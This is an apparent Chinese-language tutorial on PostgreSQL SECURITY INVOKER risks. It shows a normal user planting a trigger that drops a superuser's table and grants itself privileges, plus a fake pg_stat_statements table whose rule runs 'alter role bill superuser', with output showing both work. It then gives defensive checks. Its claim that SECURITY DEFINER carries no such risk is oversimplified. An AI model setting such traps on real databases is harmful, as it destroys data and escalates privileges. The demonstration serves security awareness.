pg中创建函数时可以指定权限检测,有两个可选参数:SECURITY INVOKER和SECURITY DEFINER。
SECURITY INVOKER:表示要用调用该函数的用户的特权来执行它。这是默认值。
SECURITY DEFINER:指定要用拥有该函数的用户的特权来执行该函数。
比如我们使用普通用户创建了一个调用者权限的函数,那么当超级用户调用这个函数时,就会以超级用户的权限来执行,这就会导致很大的安全隐患。
例子:
我们现在数据库中有两个用户:超级用户postgres和普通用户bill。
接着我们用普通用户创建一个表,并在这个普通用户的表上创建触发器。当超级用户操作这个表,并触发了触发器时,就会执行触发器函数,且触发器函数的调用权限是默认的SECURITY INVOKER时,就会导致安全问题。
使用超级用户建两张表t1和t2:
postgres=# create table t1(id int);
CREATE TABLE
postgres=# create table t2(id int);
CREATE TABLE
使用普通用户建一张表test:
postgres=# \c - bill
You are now connected to database "postgres" as user "bill".
postgres=> create table test(id int);
CREATE TABLE
创建一个调用权限是security invoker的触发器函数:
postgres=> create or replace function tg1() returns trigger as $$
postgres$> declare
postgres$> begin
postgres$> drop table t1 cascade; -- 干掉超级用户的表。删数据库都行。
postgres$> grant all on table t2 to bill; -- 获得超级用户的表的所有权限。
postgres$> return null;
postgres$> end;
postgres$> $$ language plpgsql security invoker; -- security invoker是指调用这个函数时使用调用者的权限,而不是函数owner的权限。
CREATE FUNCTION
创建触发器:
postgres=> create trigger tg2 before truncate on test for each statement execute procedure tg1();
CREATE TRIGGER
切换到超级用户去truncate test表:
postgres=> \c - postgres
You are now connected to database "postgres" as user "postgres".
postgres=# truncate test;
TRUNCATE TABLE
超级用户中的t1表被删除了,并且普通用户bill也有了对超级用户下表t2的操作权限了:
postgres=# \d
List of relations
Schema | Name | Type | Owner
--------+------+-------+----------
public | t2 | table | postgres
public | test | table | bill
(2 rows)
postgres=# \dp+ t2
Access privileges
Schema | Name | Type | Access privileges | Column privileges | Policies
--------+------+-------+---------------------------+-------------------+----------
public | t2 | table | postgres=arwdDxt/postgres+| |
| | | bill=arwdDxt/postgres | |
(1 row)
可以发现,超级用户去操作普通用户的表竟然会有这么严重的后果!
除了触发器,我们还可以使用rule来实现类似的功能。
这里我们用普通用户创建了一个和pg_stat_statements视图同名的表,这样当超级用户去查询这个视图的时候就会将superuser权限赋给了普通用户。
postgres=# \c - bill
You are now connected to database "postgres" as user "bill".
postgres=> create table pg_stat_statements (
postgres(> userid oid ,
postgres(> dbid oid ,
postgres(> queryid bigint ,
postgres(> query text ,
postgres(> calls bigint ,
postgres(> total_time double precision ,
postgres(> rows bigint ,
postgres(> shared_blks_hit bigint ,
postgres(> shared_blks_read bigint ,
postgres(> shared_blks_dirtied bigint ,
postgres(> shared_blks_written bigint ,
postgres(> local_blks_hit bigint ,
postgres(> local_blks_read bigint ,
postgres(> local_blks_dirtied bigint ,
postgres(> local_blks_written bigint ,
postgres(> temp_blks_read bigint ,
postgres(> temp_blks_written bigint ,
postgres(> blk_read_time double precision ,
postgres(> blk_write_time double precision );
CREATE TABLE
postgres=> create or replace function f() returns pg_stat_statements as $$
postgres$> declare
postgres$> begin
postgres$> alter role bill superuser;
postgres$> end;
postgres$> $$ language plpgsql security invoker;
CREATE FUNCTION
postgres=> create rule "_RETURN" as on select to pg_stat_statements do instead select * from f();
CREATE RULE
即使你不能自建函数,你同样可以制造陷阱,利用现有的函数即可。因为系统函数都是security invoker的。
例如:
管理函数,如reset统计信息;设置参数,可以用来改配置,例如改内存大小,连接数;terminate进程;启停备份;创建流复制SLOT;列出目录文件;读文件内容;操作大对象;等等,而且这些信息都可以借机写入普通用户的表里面。
所以超级用户千万不要轻易去对不知名的表,视图执行select,insert,update,delete,truncate操作。所以函数的security invoker权限是很危险的,如果是security definer则没有以上风险。
当然我们也可以避免这种情况:
1、先检查对象上是否有“陷阱”
postgres=> \d+ test
Table "public.test"
Column | Type | Collation | Nullable | Default | Storage | Stats target | Description
--------+---------+-----------+----------+---------+---------+--------------+-------------
id | integer | | | | plain | |
Triggers:
tg2 BEFORE TRUNCATE ON test FOR EACH STATEMENT EXECUTE FUNCTION tg1()
Access method: heap
2、在事务中操作,万一有问题可以回滚
begin;
......
rollback;